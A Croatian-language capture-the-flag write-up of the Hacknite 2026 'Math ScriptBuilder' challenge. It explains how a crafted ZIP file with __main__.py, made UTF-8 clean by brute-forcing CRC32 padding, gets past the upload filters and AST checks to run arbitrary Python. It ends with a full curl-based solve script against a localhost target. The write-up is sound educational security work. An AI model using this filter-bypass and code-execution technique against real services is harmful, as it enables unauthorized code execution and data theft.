Table of Contents
Zadatak s natjecanja Hacknite 2026 - Math ScriptBuilder
Napišite i pošaljite svoju matematičku skriptu! Opis možete dodat u komentaru. Izvršava se unutar našeg strogog i sigurnog sandboxa.
Kontekst zadatka
Dan je izvorni kod zadatka.
Zadatak dopušta upload dviju datoteka. Prva datoteka je namijenjena za opis matematičke skripte, a u drugoj datoteci se definira matematički izraz koji se izvršava.
Nakon što se uploadaju obje datoteke, od njih se konstruira Python skripta te se izvršava na serverskoj strani, a rezultat izvršavanja se prikaže na stranici.
Navedeno je da ni jedna datoteka ne smije sadržavati znakove:
", ', \, {, }, `, ;, $, % or #
Također je navedeno da datoteka s matematičkim kodom može sadržavati maksimalno 15 znakova i da se izvršava unutar eval funkcije s jedinim dopuštenim znakovima definiranim regex izrazom:
[0-9+\-*/(). ]+
Ovaj regex definira skup dopuštenih znakova:
znamenke 0-9, +, -, /, (, ), ., <razmak>
Provjerom koda na serverskoj strani može se vidjeti da su ta ograničenja primijenjena kako je opisano:
f1 = request.files['f1'].read().decode('utf-8', errors='ignore') f2 = request.files['f2'].read().decode('utf-8', errors='ignore') forbidden_chars = ['"', "'", '\\', '#', '{', '}', '`', ';', '$', '%'] if any(c in f1 for c in forbidden_chars): return render_template( 'index.html', error="HACKING ATTEMPT DETECTED! Quotes, backslashes, hash and other dangerous symbols are strictly forbidden." ) if len(f2) > 15: return render_template('index.html', error="Error: File 2 exceeds 15 characters!") if not re.fullmatch(r'[0-9+\-*/(). ]+', f2): return render_template('index.html', error="Error: File 2 contains invalid characters!")
Nakon tih provjera se iz dviju uploadanih datoteka gradi Python skripta s pomoću f-stringova, trostrukih navodnika te unutarnjih trostrukih navodnika oko varijabli kojima se korisnički unos postavlja u skriptu kao string:
script_content = \ f"""print(\"\"\"{f1}\"\"\") # Secure eval execution result = eval(\"\"\"{f2}\"\"\", {{"__builtins__": None}}, {{}}) print("Result:", result) """
Nakon toga se cijela stvorena skripta još jedanput provjerava s AST-evaluatorom:
def is_safe_ast(script_content): try: tree = ast.parse(script_content.replace('\x00', '')) except SyntaxError: return False if len(tree.body) != 3: return False stmt1, stmt2, stmt3 = tree.body if not isinstance(stmt1, ast.Expr) or not isinstance(stmt1.value, ast.Call): return False if getattr(stmt1.value.func, 'id', None) != 'print': return False if len(stmt1.value.args) != 1 or not isinstance(stmt1.value.args[0], ast.Constant): return False if not isinstance(stmt1.value.args[0].value, str): return False if not isinstance(stmt2, ast.Assign) or len(stmt2.targets) != 1: return False if getattr(stmt2.targets[0], 'id', None) != 'result': return False if not isinstance(stmt2.value, ast.Call) or getattr(stmt2.value.func, 'id', None) != 'eval': return False if not isinstance(stmt3, ast.Expr) or not isinstance(stmt3.value, ast.Call): return False if getattr(stmt3.value.func, 'id', None) != 'print': return False return True if not is_safe_ast(script_content): return render_template( 'index.html', error="HACKING ATTEMPT DETECTED! Code structure tampering blocked." )
Ako su sve provjere uspješne, stvara se skripta čiji se naziv datoteke sastoji od SHA-256 sažetka datoteka i nasumično generiranog UUID-a.
Potom se stvorena skripta izvršava s pomoću sandbox_runner.py skripte.
Nakon izvršavanja, stvorena skripta se briše.
file_hash = hashlib.sha256(script_content.encode()).hexdigest() unique_id = uuid.uuid4().hex[:8] script_path = os.path.join(app.config['UPLOAD_FOLDER'], f"{file_hash}_{unique_id}.py") with open(script_path, 'w') as f: f.write(script_content) # exec script runner_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), "sandbox_runner.py", ) try: proc = subprocess.Popen( [ sys.executable, runner_path, os.path.abspath(script_path), ], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, close_fds=True, start_new_session=True, ) ... finally: try: os.remove(script_path)
Sandbox runner skripta samo postavlja ograničenja na resurse tijekom izvršavanja korisnikove skripte:
import os import resource import sys def main(): if len(sys.argv) != 2: raise SystemExit(2) limits = [ (resource.RLIMIT_CPU, 2), (resource.RLIMIT_AS, 30 * 1024 * 1024), (resource.RLIMIT_FSIZE, 1024 * 1024), (resource.RLIMIT_NOFILE, 32), (resource.RLIMIT_CORE, 0), ] if hasattr(resource, "RLIMIT_NPROC"): limits.append((resource.RLIMIT_NPROC, 16)) for limit_type, value in limits: resource.setrlimit(limit_type, (value, value)) os.execv(sys.executable, [sys.executable, sys.argv[1]]) if __name__ == "__main__": main()
Pronalazak ranjivosti
Uzevši u obzir sve provjere i ograničenja nad datotekom s kodom koja se uploada, može se zaključiti da nema mjesta niti mogućnosti iskoristiti ju za napad ili dolazak do flaga.
Datoteka kojom se uploada opis skripte na prvi pogled djeluje kao da se ne može nikako iskoristiti, ali ima puno više dozvoljenih znakova koji se mogu koristiti te dostupnu dužinu unosa.
Važno je primijetiti da nakon što se izgradi Python skripta iz dvije poslane korisničke datoteke, pokreće se u novom procesu s pomoću Python interpretera ( sys.executable je putanja do Python interpretera koji izvršava trenutačnu skriptu).
Zbog toga je relevantan implementirani Python prijedlog PEP 441, koji predlaže dodavanje podrške za direktno izvršavanje Python koda iz ZIP datoteke. Ako je Python kod u datoteci __main__.py koja je u korijenu (nultoj razini) direktorijskog stabla unutar zipa, može se jednostavno pokrenuti Pythonom bez raspakiravanja.
main.zip └── __main__.py
Zanimljivost je da ako se ova ZIP datoteka nalazi unutar validnog Python koda koji se pojavljuje i prije i nakon bajtova ZIP datoteke, tako da su svi bajtovi ZIP datoteke unutar komentara ili unutar stringa, kod unutar ZIP datoteke ima prioritet izvršavanja naspram okolnog koda, makar okolni kod bio potpuno validan Python kod.
Iskorištavanje ranjivosti
Koristeći ovu činjenicu za konstrukciju skripte na serverskoj strani koja će omogućiti izvršavanje proizvoljnog Python koda, ako se kroz datoteku za opis uploada ZIP datoteka s kodom, struktura stvorene skripte će biti:
print("""<ZIP datoteka s proizvoljnim Python kodom>""") # Secure eval execution result = eval("""12 * 76 + 36""", {"__builtins__": None}, {}) print("Result:", result)
Pokretanjem ove skripte izvršit će se samo kod unutar ZIP datoteke, dok će okolni kod biti ignoriran (ne vrijedi nužno za sve verzije Pythona).
No problem je što se datoteka s opisom iz koje se gradi skripta koja bi se iskoristila za upload proizvoljnog Python koda unutar zipa parsira na ovaj način:
f1 = request.files['f1'].read().decode('utf-8', errors='ignore')
te također ne smije sadržavati ni jedan od zabranjenih znakova:
", ', \, {, }, `, ;, $, % or #
Kako bi se zadovoljila ova ograničenja, mora se konstruirati zip datoteka s Python kodom u kojoj su svi bajtovi validne UTF-8 sekvence i ne sadrži zabranjene znakove. Ako se pojavi ijedna neispravna UTF-8 sekvenca unutar uploadane datoteke, ti bajtovi će samo biti uklonjeni bez errora te će cijeli ZIP postati neispravan i neće se moć izvršiti kod unutar njega.
Ako se za ZIP kompresiju koriste zastavice -0 i -X, razina kompresije će biti postavljena na nulu, odnosno neće se primjenjivati kompresija, a neobavezni metapodatci bit će uklonjeni:
zip -0 -X payload.zip __main__.py
Neprimjenjivanje kompresije smanjuje mogućnost pojave nevaljane UTF-8 sekvence ili zabranjenog znaka. Zastavica -X miče sve osim nužnih metapodataka kako bi se dodatno smanjila šansa pojavljivanja neželjenih bajtova u generiranoj datoteci.
Kako bi se osiguralo da generirana ZIP datoteka s payload kodom ne sadržava neispravne UTF-8 sekvence ni zabranjene znakove, mora se osigurati da:
1. Python kod unutar __main__.py datoteke ne sadržava ni jedan zabranjeni znak, jer se ne primjenjuje kompresija 2. CRC32 checksum __main__.py datoteke ima vrijednost kojoj su svi bajtovi validne UTF-8 sekvence i nisu nedozvoljeni znakovi 3. timestamp __main__.py datoteke se enkodira u validne UTF-8 sekvence koje također nisu nedozvoljeni znakovi 4. RWE dopuštenja se enkodiraju u validne UTF-8 sekvence koje također nisu nedozvoljeni znakovi dok istovremeno postavljaju dozvolu za izvršavanje datoteke
Kako bi se napisao kod koji čita flag bez korištenja nedozvoljenih znakova, može se napisati kao:
print(open(bytes([102,108,97,103,46,116,120,116])).read())
Kako bi se pronašao CRC32 checksum koji zadovoljava sve kriterije, mogu se kodu dodavat razmaci kao padding na mjesta koja neće mijenjati funkcionalnost koda te ponovno računati CRC32 dok se ne nađe odgovarajući checksum.
Ovo je nezahtjevan bruteforce i vrlo brzo se može pronaći rješenje:
import binascii # __main__.py kod import binascii original_code = b'print(open(bytes([102, 108,97,103,46,116,120,116])).read())' code_str = 'print(open(bytes([102, 108,97,103,46,116,120,116])).read())' forbidden_chars = ['"', "'", '\\', '#', '{', '}', '`', ';', '$', '%'] for padding_length in range(100): test_code = original_code + (b' ' * padding_length) crc = binascii.crc32(test_code) crc_bytes = crc.to_bytes(4, 'little') if all(b < 128 for b in crc_bytes) and not any(c in code_str for c in forbidden_chars): print(f"[+] Found: Add {padding_length} spaces to the end of the file.") print(f"New CRC-32 bytes: {crc_bytes.hex(' ')}") break
Pokretanjem skripte vrlo se brzo utvrđuje da se dodavanjem samo dvaju razmaka na kraj datoteke može dobiti odgovarajući CRC32 checksum:
[+] Found: Add 2 spaces to the end of the file. New CRC-32 bytes: 47 69 2c 11
__main__.py datoteka se potom generira s pronađenim paddingom:
printf "print(open(bytes([102, 108,97,103,46,116,120,116])).read()) " > __main__.py
Kako bi se pronašli zadovoljavajući timestamp i dopuštenja datoteke, mogu se ručno isprobavati različite vrijednosti:
touch -t 202501010000 __main__.py chmod 737 __main__.py
Nakon toga se __main__.py pretvara u ZIP datoteku te se provjerava jesu li svi bajtovi datoteke validne UTF-8 sekvence:
# utf8scan.py import sys def scan_ignore_style(data: bytes): i = 0 removed = [] while i < len(data): try: data[i:].decode("utf-8", errors="strict") break except UnicodeDecodeError as e: bad_start = i + e.start bad_end = i + e.end for p in range(bad_start, bad_end): removed.append(p) i = bad_start + 1 return removed def main(): if len(sys.argv) != 2: print("Usage: utf8scan.py <file>") sys.exit(1) data = open(sys.argv[1], "rb").read() removed = scan_ignore_style(data) if not removed: print("No bytes would be removed under UTF-8 ignore") return print("Bytes removed under UTF-8 ignore:\n") for p in removed: print(f"offset {p:08d} -> 0x{data[p]:02x}") print(f"\nTotal removed bytes: {len(removed)}") if __name__ == "__main__": main()
Konfiguracija koja stvara ZIP datoteku koja zadovoljava sve zahtjeve i postavlja execute permission na __main__.py:
printf "print(open(bytes([102, 108,97,103,46,116,120,116])).read()) " > __main__.py touch -t 202501010000 __main__.py chmod 737 __main__.py zip -0 -X payload.zip __main__.py
Pokretanjem prethodne skripte za detekciju neispravnih UTF-8 sekvenci nad payload.zip datotekom, vidi se da su svi bajtovi datoteke validne UTF-8 sekvence:
python utf8scan.py payload.zip
No bytes would be removed under UTF-8 ignore
Kako bi se riješio zadatak, payload.zip se uploada kao datoteka s opisom skripte, dok se sadržaj datoteke s matematičkim izrazom može proizvoljno definirati u jednostavan izraz koji ne izaziva greške.
Automatizirana skripta za rješavanje zadatka:
#!/usr/bin/env bash ## generiranje payload.zip printf "print(open(bytes([102, 108,97,103,46,116,120,116])).read()) " > __main__.py touch -t 202501010000 __main__.py chmod 737 __main__.py zip -0 -X payload.zip __main__.py ## jednostavan matematički izraz printf "2 + 4 + 5" > math.txt ## remote conf HOST="localhost" # HOST zadatka PORT="5000" # PORT zadatka URL="http://${HOST}:${PORT}/" FILE1="./payload.zip" FILE2="./math.txt" curl --fail-with-body --show-error --output - \ -X POST \ -F "f1=@${FILE1}" \ -F "f2=@${FILE2}" \ "$URL" | tail -n 20 | grep CTF